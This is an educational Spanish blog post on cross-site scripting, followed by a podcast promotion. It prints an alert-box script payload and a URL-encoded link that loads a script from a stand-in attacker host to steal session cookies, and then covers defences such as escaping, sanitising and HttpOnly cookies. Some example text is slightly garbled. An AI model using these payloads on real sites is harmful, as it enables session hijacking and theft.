 |
| Apple |
El Cross-site scrpting o (XSS) es un tipo de vulnerabilidad en el sistema de seguridad que se produce comúnmente en aplicaciones web, y que desencadenan ataques maliciosos al inyectar secuencias de comandos del lado del cliente en las páginas web que ven otros usuarios. Los atacantes pueden utilizar un script de explotación de vulnerabilidades entre sitios para evadir los controles de acceso. Se trata de una vulnerabilidad que afecta a los sitios web dinámicos que emplean un control deficiente en cuanto a entrada de formulario.
Un XSS permite a un atacante insertar o ejecutar código del lado del cliente para realizar un conjunto variado de acciones maliciosas, como recopilación, manipulación y redirección de información confidencial, visualización y modificación de datos en servidores, alterando el comportamiento dinámico de páginas web, etc.
En el sentido actual, la técnica incluye el uso de cualquier lenguaje de scripting del lado del cliente, incluidos JavaScript, VBScript, Flash. Su efecto puede variar desde una molestia menor hasta un riesgo de seguridad significativo, dependiendo de la sensibilidad de los datos procesados en el sitio víctima del ataque y la naturaleza de las estrategias de seguridad implementadas por los propietarios del sitio web.
Según un informe de Symantec de 2007, el 80% de todas las infracciones se deben a ataques XSS.
La seguridad en la web depende de una variedad de mecanismos, incluido un concepto subyacente de confianza conocido como política del mismo origen. Esto esencialmente establece que si el contenido de un sitio (como https://miweb.ejemplo1.com) tiene permiso para acceder a recursos (cookies, etc.) en un navegador web, entonces el contenido de cualquier URL con el mismo esquema de URI, nombre de host y número de puerto compartirán estos permisos. El contenido de las URL donde cualquiera de estos tres atributos es diferente deberá recibir permisos por separado.
El principio es inyectar datos arbitrarios en un sitio web, por ejemplo publicando un mensaje en un foro o mediante parámetros de URL. Si estos datos llegan tal cual a la página web transmitida al navegador sin haber sido verificados, entonces hay una falla y se puede usar para ejecutar código malicioso casi siempre con JavaScript.
Dicho de otro modo, a través de un XSS, el atacante inyecta código JavaScript en un campo de texto de una página existente y este JavaScript se presenta a otros usuarios porque persiste en la página. Supongamos que el hacker inserta en un foro de un sitio web que está destinado a un ataque, un texto que contiene un fragmento de JavaScript. Este JavaScript podría por ejemplo, simular la página de inicio de sesión del sitio web, capturar los valores ingresados y enviarlos a un sitio web que los almacene.
 |
|
https://commons.wikimedia.org/wiki/File:Cross-Site_Scripting_(XSS).png |
Cuando el texto del foro se presenta a otros usuarios, un sitio atacado por XSS mostrará el fragmento de JavaScript escrito previamente en los navegadores de todos los demás usuarios, para que finalmente el atacante reciba la respuesta en su navegador.
Veamos el ejemplo número uno:
A visita a menudo un sitio web en particular, alojado por B. El sitio web de B le permite a A autentificarse con un nombre de usuario y contraseña y almacenar datos confidenciales (como información de facturación). Al acceder al sistema, el navegador guarda una cookie de autentificación, que aparece como un conjunto de caracteres ilegibles, para que ambos equipos (cliente y servidor) recuerden su autentificación.
C se da cuenta de que el sitio de B contiene una vulnerabilidad XSS, ingresa un término en el cuadro de búsqueda y hace clic en el botón Intro, si no hay resultados, la página mostrará el término de búsqueda seguido de las palabras "no encontrado", y la URL será http: / /lawebdeB.org?q=her
Con una consulta de búsqueda normal, como la palabra "pepino", la página simplemente mostrará "cachorros no encontrados" y la URL es http://bobssite.org?q= pepino
Sin embargo, al enviar una consulta de búsqueda anormal, como <script type = 'text / javascript'> alert ('xss'); </script>,
Aparece un cuadro de advertencia que dice "xss", la página muestra "<script type = 'text / javascript'> alerta ('xss'); </script> no encontrado" junto con un mensaje de error con el texto "xss"
La URL utilizable es http://lawebdeB.org?q=<script type = 'text / javascript'> alert ('xss'); </script>
 |
|
https://commons.wikimedia.org/wiki/File:Apple_II-IMG_4217.jpg |
Veamos el ejemplo número dos:
C crea una URL para aprovechar el exploit, lo que se conoce como “explotarlo”, crea la URL http://lawebdeB.org?q=papino<script%20src= "http://webmaladeC.com/malvado.js"> </script>. Elija convertir caracteres ASCII a hexadecimal, por ejemplo http://lawebdeB.org?q=cuccioli%3Cscript%2520src%3D%22http%3A%2F%2FwebmaladeC.com %malvado.js%22%3E para que la gran cantidad de caracteres dificulte la identificación de la URL maliciosa a simple vista.
C envía un correo electrónico a algunos miembros desprevenidos del sitio de B, en el que escribe: "Compra pepinos de oferta, quedan muy pocos".
A recibe el correo electrónico y, como le encantan los pepinos, abre el enlace. Luego irá al sitio de B para realizar una búsqueda; al no encontrar nada, le aparecerá en su navegador “pepinos not found”, pero el script de C, malvado.js, se ejecutará, invisible en la pantalla, desencadenando el ataque XSS.
El programa malvado.js se ejecuta en el navegador de A como si fuera enviado desde el sitio de B. Toma una copia de la cookie de autentificación de A y la envía al servidor de C, donde C la recuperará.
C ahora coloca la cookie de autentificación de A en su navegador como si fuera el suyo. Luego va al sitio de B, y queda autentificada como A.
Ahora que el sitio la reconoce como A, C va a la sección de facturación del sitio, mira el número de su tarjeta de crédito y lo copia. También cambia la contraseña para que A no pueda volver a acceder.
Decide ir un paso más allá y envía un enlace similar al propio B, obteniendo así privilegios de administrador.
 |
|
https://commons.wikimedia.org/wiki/File:Cross-site_scripting_attack_sequence_diagram_-_ar.png |
Ahora algunos ejemplos de precauciones a tomar:
Para que este ataque no se produzca, o para reducir sus efectos, se puede analizar la entrada del campo de búsqueda para corregir o eliminar cualquier código. El servidor web puede configurarse para redirigir solicitudes no válidas. El servidor web puede detectar un inicio de sesión simultáneo e invalidar las sesiones. El servidor web podría detectar un inicio de sesión simultáneo desde dos direcciones IP diferentes e invalidar las sesiones. El sitio web solo puede mostrar los últimos dígitos de la tarjeta de crédito utilizada anteriormente. El sitio web puede requerir que los usuarios vuelvan a ingresar su contraseña antes de cambiar su información de registro. Se puede indicar a los usuarios que no hagan clic en enlaces de apariencia inocente que en realidad son maliciosos.
Esta medida debe utilizarse como mecanismo de defensa principal para detener los ataques XSS, debe codificarse la salida contextual/escape de cadena de entrada, hay varios esquemas de escape que se pueden usar, incluida la codificación de entidades HTML, el escape de JavaScript, el escape de CSS y la codificación de URL. Muchas aplicaciones web que no aceptan datos enriquecidos pueden utilizar el escape para eliminar la mayoría de los riesgos de los ataques XSS de forma sencilla.
Validar de forma segura la entrada que no sea de confianza. Muchas operaciones de aplicaciones web particulares (foros, correos web, etc.) permiten a los usuarios utilizar un subconjunto limitado de marcado HTML. Al aceptar la entrada HTML de los usuarios, como "<b> muy <b /> ancho", la codificación saliente, como "muy </b> ancho", no será suficiente, ya que el navegador debe representarlo como HTML. Detener un ataque XSS al aceptar la entrada HTML del usuario es muy complejo en esta situación. La entrada de HTML que no sea de confianza debe realizarse a través de un motor de desinfección de HTML para garantizar que no contenga código XSS.
Seguridad de las cookies. Además del filtrado de contenido, otros métodos se utilizan comúnmente para mitigar la creación de scripts entre sitios. Un ejemplo es el uso de controles de seguridad adicionales durante la manipulación de sesiones basada en cookies. Muchas aplicaciones web se basan en cookies de sesión para manejar la autentificación entre diferentes solicitudes HTTP, y dado que los scripts del lado del cliente generalmente tienen acceso a esta cookie, un simple XSS puede robarlos. Para mitigar esta amenaza en particular, muchas aplicaciones web vinculan la cookie de sesión a la dirección IP del usuario que obtuvo acceso originalmente, permitiendo así que solo esa IP use la cookie. Esto es eficaz en la mayoría de los casos, pero obviamente no funciona en situaciones en las que un atacante está detrás de la misma dirección IP con NAT o proxy web que la víctima, o la víctima está cambiando su IP móvil.
Otra solución está presente en Internet Explorer (desde la versión 6), Firefox (desde la versión 2.0.0.5), Safari (desde la versión 4), Opera (desde la versión 9.5) y Google Chrome, se trata de la marca HttpOnly que permite a un servidor web establecer una cookie a la que no se puede acceder desde el script del lado del cliente. Si se utiliza, la función puede evitar completamente el robo de cookies pero no los ataques dentro del navegador.
Deshabilitar scripts, mientras que las aplicaciones web 2.0 y Ajax favorecen el uso de JavaScript, algunas aplicaciones web están escritas para permitir el funcionamiento sin necesidad de ningún script del lado del cliente. Esto permite a los usuarios, si lo desean, deshabilitar cualquier script en sus navegadores antes de usar la aplicación. De esta manera, los scripts del lado del cliente, incluso los potencialmente maliciosos, podrían colocarse sin escape en una página y los usuarios no serían susceptibles a los ataques XSS.
Algunos navegadores o complementos de navegador se pueden configurar para deshabilitar los scripts del lado del cliente a través del dominio. Este enfoque tiene un valor limitado si los scripts están habilitados de forma predeterminada, ya que se bloquearán cuando el usuario los reconozca como peligrosos, pero ya será demasiado tarde. Una característica que bloquea todos los scripts e inclusiones externas de forma predeterminada y, por lo tanto, permite a los usuarios habilitarlos por dominio, es más eficiente. Esto fue posible durante mucho tiempo en Internet Explorer (desde la versión 4) configurando las llamadas "zonas de seguridad" y en Opera (desde la versión 9) usando las "preferencias específicas del sitio". La solución para Firefox y otros navegadores basados en Gecko es el complemento NoScript de código abierto que, además de habilitar scripts por dominio, proporciona cierta protección XSS incluso cuando los scripts están habilitados.
El problema más relevante que plantea el bloqueo de todos los scripts en todos los sitios web de forma predeterminada es la reducción sustancial de la funcionalidad y la capacidad de respuesta (el scripting del lado del cliente puede ser mucho más rápido que el del lado del servidor porque no necesita conectarse a un servidor remoto y la página, o marco, no necesita ser recargado) Otro problema con el bloqueo de scripts es que muchos usuarios no lo entienden y no saben cómo proteger adecuadamente su navegador. Otro inconveniente es que muchos sitios no funcionan sin secuencias de comandos del lado del cliente, lo que obliga a los usuarios a desactivar la seguridad del sitio. La extensión NoScript Firefox permite a los usuarios habilitar scripts de una página en particular, pero no permite que otros ejecuten la misma página.
Hay tres clases de defensa XSS que están surgiendo. Estos incluyen la Política de seguridad de contenido, herramientas de espacio aislado de JavaScript y plantillas de escape automático. Estos mecanismos aún están evolucionando, pero prometen un futuro en el que los ataques XSS se reducirán drásticamente.
Escucha de podcast Radiografia de la conspiranoia. Temporada 1, capítulo 11. Alexsey Belan y la herida mortal de Yahoo:
Este es un podcast de Cesc Fortuny i Fabré, de divulgación académica y científica sobre las teorías de la conspiración, así como sectas, estafas y pseudociencias. También brinda información sobre ingeniería social, y como protegerse de ella.
Este capítulo trata sobre el grupo de hackers Fancy Bear y su relación con los servicios de inteligencia rusos, concretamente con la GRU. Pertenece a la serie dedicada a las Ingeniería Social.
http://radiografiadelaconspiranoia.blogspot.com
https://www.facebook.com/R.Conspiranoia
RSS: https://www.ivoox.com/radiografia-conspiranoia_fg_f11186055_filtro_1.xml
Spotify: https://open.spotify.com/show/5XDO8JgZpfUmuU5KoqWAZP
Links del podcast:
Cap comentari:
Publica un comentari a l'entrada
Escribe con una correcta ortografía, gramática/sintaxis, y puntuación. Si quieres difundir tus creencias, tienes otros espacios para hacerlo. Los insultos y las descalificaciones no se publicarán. Será bienvenido cualquier comentario que sin ser offtopic, sea respetuoso y aporte algo positivo, o corrija algún error que pueda haber cometido, pero siempre dando referencias a revistas especializadas. Para más información visita la sección AVISO! Del menú principal.